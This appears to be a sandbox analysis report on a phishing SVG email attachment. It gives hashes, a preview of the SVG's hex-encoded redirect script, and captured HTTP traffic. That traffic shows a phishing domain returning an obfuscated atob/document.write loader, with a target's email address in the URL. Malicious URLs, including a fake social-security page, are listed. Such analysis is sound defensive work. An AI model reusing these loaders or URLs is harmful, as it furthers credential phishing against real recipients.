	http://socialsecurityupdate-files-519c76f91fjfk04.nod.free.hr/SSA/Windows/invite.php	Get hash	malicious	ScreenConnect Tool	Browse	172.64.80.1
	phishing.eml	Get hash	malicious	Unknown	Browse	104.18.11.207

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 55256, version 1.0
Category:	downloaded
Size (bytes):	55256
Entropy (8bit):	7.9958351357124835
Encrypted:	true
SSDEEP:	768:aE9HsQuRLPPTiTRi06pYSINz9AdaTV7n5qAsVUdRwRuIDzjYTXqq2emOr8d/cNPk:aE9HsHPPR06bIhedCaAb+u2veJ8KNad
MD5:	1E2D4737305EEA41EE9198E3FD3F59C2
SHA1:	ABFF05D701173AB7EAE355BE60AD30CF7F63536B
SHA-256:	351BA345250BAF98CE325B4017AC9B96C9498F6644937EF558DC5993AF676F2A
SHA-512:	469723131222DEC7EA745B528FE62586DA62D02505B6904A4B97157259DD37C26BF0D7012538EC6AB999C4A82D44F97AD7A1BC526CEA9E8EE1CD30FF218FBCE8
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://fonts.gstatic.com/s/googlesans/v62/4UaRrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iq2vgCI.woff2
Preview:	wOF2...............T...]..........................^.......?HVAR.\?MVAR9.`?STAT.',..B/\.....H..!....0..v.6.$..V. ..~..:..[..q$.c..6g.slSI"k\...O.:....s.q@....mY.;.$.,.e....&.....my.....=...D..u..3+MS ..S.f...P..2.IL.2d.....V..z...E...).....d.d..wa.Gz..%.Ar....O....rD...UIK.4d.WP...:..(.......7...-.M............~m....5....<vR.../.....Z......x9..O\... .....N...!.6.=.......S...hk..3......m.{....u..e._.Y...0.B3.Y...,."..f~.<....}3///..!.C.. `PD\...-"...."...%..p.7"m-..-_..q,.EK..R......._g.w...]..j..@...7. .%.g>.{6..x..g..,...\|./}.}..4H............H.&@($!...@....b....S..........$."......&u.J...K0.F...hr...A...9}.7.u..\|.?...$......i.i....u..$Y.e...}D...0.9b:9..8h....[eV5.-......../B[..!....).9..../0......DY....!;h.L.,<I.:.-...t.[I..J..I.&..%~....T4U.JaC..>..w......S`.....}&.....".E.Cx......} .....i....P....iN..v.hD4.....B...h...z.-.LT..[...:&.K....T....D.Kz..........J..n.?..{6. ...b.oH.!z..gl7U%.@`......>.J......3..i.W...S.@..#s...r{H/;.s

File type:	SVG Scalable Vector Graphics image
Entropy (8bit):	5.306832685432585
TrID:	Scalable Vector Graphics (18501/1) 78.71% Generic XML (ASCII) (5005/1) 21.29%
File name:	EFTRemittance_Anina_DTVZBMTIPD_attach.svg
File size:	636 bytes
MD5:	69430c8d12d05c061b4c99f9a09ab29f
SHA1:	c39948fa4d5d9e8d687f315e9b099fd218a5a5ff
SHA256:	a77d17dbb583f64945429bf221720870e8f8382eb203f3cb55e5a6cd25bbf57f
SHA512:	3a30dddd98038988215b28805fe995448e68c359bb9331e00df147ff2b36caf875cc302a462d7e8c50a59876bb17b2b963a50bc2ff4241f137b0338f6fa3710d
SSDEEP:	12:TMHdtLOoNAg9hSjBUrtMXIJhmpyDr2UVBhGBU2JLg1NV4/:2dtLOoT4ytMXIauKUVBqLgNV4/
TLSH:	D8F0ACE4EB44DDB051B505E5473898394E9760220D0009E8FD957D482FB4CA71A8DAAD
File Content Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250">.<script>.<![CDATA[.RhKqW = "$anina@arts.state.tx.us";.new Function(("77696e646f772e6c6f636174696f6e"+. "2e68726566203d2061746f62282

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:49 UTC	686	OUT	GET /8VVgl7/$anina@arts.state.tx.us HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:42:49 UTC	1215	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:42:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0pJKvzSesAxUKfgXuhe9qLb9I%2F5xMzJUds8%2BohqQMCqsiEH95HdVWLD9nuhBr6fEmQlPUKmqUBuVws2cx%2BEsmNeplpt2MjuVFppimHUObkHxXpnQ%2FkqobWf3xWZDU%2Fw3BV7w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=295&min_rtt=284&rtt_var=101&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1595&delivery_rate=11755813&cwnd=252&unsent_bytes=0&cid=4ef9353e73975e50&ts=227&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImtDUDRIK2RiSklnaXYrMzlERVQ3cEE9PSIsInZhbHVlIjoiV2RWMVp2UitoRzJaWm1UODRMblZPTlM2L21NY1FDRWpwNEFmMGlNWWEzMlltQng4R3BVWkZGbytUZkhvcnBCUHNYRnVZcW9PR2JRUzZub3RKUWhMWmNtaHA4bWt6cnVqVkZSWkVJcWJPLzBVMm9VRjJMTk9WU3FsRzFQNDBCZWIiLCJtYWMiOiJjMGU0MjFkM2MwNTQ1NDFkOGJkMjUyY2QzYmU0YzdjN2JkOWE5ZjgxNmViMzI5NmQ0M2RlOTk3NmYxYmNkNGNiIiwidGFnIjoiIn0%3D; expires=Wed, 26-Mar-2025 23:42:49 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 21:42:49 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 6c 36 4b 33 64 4d 55 48 4a 68 53 47 4e 5a 57 6a 5a 51 61 33 52 70 63 6a 64 52 53 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 54 59 31 62 31 51 78 4d 7a 64 78 4f 46 64 68 4c 30 73 35 65 56 70 61 65 55 46 49 54 47 64 4c 53 43 39 4b 4e 31 4e 4f 4b 30 64 75 56 44 4a 31 52 32 68 61 4d 30 45 31 53 6e 4e 50 64 58 46 71 61 30 39 45 54 69 39 7a 57 6c 64 46 61 32 64 42 61 55 68 57 64 7a 51 31 65 55 56 55 52 33 5a 58 65 55 4e 71 53 6b 78 61 57 48 6c 51 62 33 4e 6a 57 6e 42 74 65 45 56 76 56 45 64 6e 4e 55 56 61 64 30 46 53 4d 57 78 50 51 30 4e 33 52 69 39 4c 63 48 5a 57 51 6a 56 4c 64 33 6c 6c 62 55 46 4e 51 6a 42 72 56 57 31 4c 63 6d 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Iml6K3dMUHJhSGNZWjZQa3RpcjdRS0E9PSIsInZhbHVlIjoiTTY1b1QxMzdxOFdhL0s5eVpaeUFITGdLSC9KN1NOK0duVDJ1R2haM0E1SnNPdXFqa09ETi9zWldFa2dBaUhWdzQ1eUVUR3ZXeUNqSkxaWHlQb3NjWnBteEVvVEdnNUVad0FSMWxPQ0N3Ri9LcHZWQjVLd3llbUFNQjBrVW1LcmM
2025-03-26 21:42:49 UTC	1369	IN	Data Raw: 31 63 64 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 69 58 6d 4e 74 67 71 71 59 6d 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 79 63 6a 6b 33 4c 6e 70 76 62 6e 46 6b 61 33 46 6c 65 6d 74 30 64 79 35 6c 63 79 38 34 56 6c 5a 6e 62 44 63 76 22 29 3b 0a 6a 6f 43 72 78 4f 56 63 52 71 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 75 4a 61 71 72 74 76 57 68 4f 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 69 58 6d 4e 74 67 71 71 59 6d 20 3d 3d 20 6a 6f 43 72 78 4f 56 63 52 71 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 75 4a 61 71 72 74 76 57 68 4f 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b Data Ascii: 1cd9<script>iXmNtgqqYm = atob("aHR0cHM6Ly9ycjk3LnpvbnFka3Flemt0dy5lcy84VlZnbDcv");joCrxOVcRq = atob("bm9tYXRjaA==");uJaqrtvWhO = atob("d3JpdGU=");if(iXmNtgqqYm == joCrxOVcRq){document[uJaqrtvWhO](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+
2025-03-26 21:42:49 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 Data Ascii: Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g7
2025-03-26 21:42:49 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 Data Ascii: k44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk77
2025-03-26 21:42:49 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 Data Ascii: 44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44W
2025-03-26 21:42:49 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 Data Ascii: 76g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g
2025-03-26 21:42:49 UTC	548	IN	Data Raw: 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 Data Ascii: Wk776g776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk4
2025-03-26 21:42:49 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 Data Ascii: 7ffa776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g4
2025-03-26 21:42:49 UTC	1369	IN	Data Raw: 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 Data Ascii: k776g44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk77
2025-03-26 21:42:49 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 Data Ascii: 44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44W

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:50 UTC	667	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:42:50 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 4266971 Date: Wed, 26 Mar 2025 21:42:50 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890037-NYC X-Cache: HIT, HIT X-Cache-Hits: 5930, 0 X-Timer: S1743025370.440807,VS0,VE1 Vary: Accept-Encoding
2025-03-26 21:42:50 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-26 21:42:50 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-26 21:42:50 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-26 21:42:50 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
